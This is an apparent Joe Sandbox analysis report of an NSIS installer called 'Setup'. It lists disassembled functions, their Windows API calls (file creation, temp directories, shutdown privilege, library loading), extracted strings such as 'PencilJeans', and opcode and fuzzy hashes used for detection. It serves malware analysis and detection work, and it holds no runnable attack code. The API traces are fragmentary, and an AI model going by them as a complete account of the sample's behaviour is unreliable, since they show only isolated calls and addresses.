Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

SeShutdownPrivilege, xrefs: 00403C16
~nsu.tmp, xrefs: 00403AF7
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
Error launching installer, xrefs: 00403A7D
/D=, xrefs: 004039A6
NSIS Error, xrefs: 004038E2
NCRC, xrefs: 0040397C
1C, xrefs: 00403B56

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

SetFileAttributes failed., xrefs: 004017A1
Jump: %d, xrefs: 00401602
Call: %d, xrefs: 0040165A
Aborting: "%s", xrefs: 0040161D
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename: %s, xrefs: 004018F8
CreateDirectory: "%s" (%d), xrefs: 004017BF
Rename on reboot: %s, xrefs: 00401943
Sleep(%d), xrefs: 0040169D
BringToFront, xrefs: 004016BD
Rename failed: %s, xrefs: 0040194B
CreateDirectory: "%s" created, xrefs: 00401849
detailprint: %s, xrefs: 00401679
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.DEFAULT\Control Panel\International, xrefs: 00405999
RichEdit20A, xrefs: 00405BB6, 00405BBB
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
_Nb, xrefs: 00405AD1
B%F, xrefs: 00405A1F
RichEdit, xrefs: 00405BC4
RichEd20, xrefs: 00405B9D
.exe, xrefs: 00405A3D
@%F, xrefs: 004059F6
@rD, xrefs: 00405965
RichEd32, xrefs: 00405BA8

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,PencilJeans,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,PencilJeans,PencilJeans,00000000,00000000,PencilJeans,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error creating "%s", xrefs: 00401AF0
File: error, user retry, xrefs: 00401B40
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
PencilJeans, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user abort, xrefs: 00401B53

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$PencilJeans
API String ID: 4286501637-968480602
Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Error launching installer, xrefs: 004035D7
Null, xrefs: 0040367E
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Inst, xrefs: 0040366C
soft, xrefs: 00403675

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

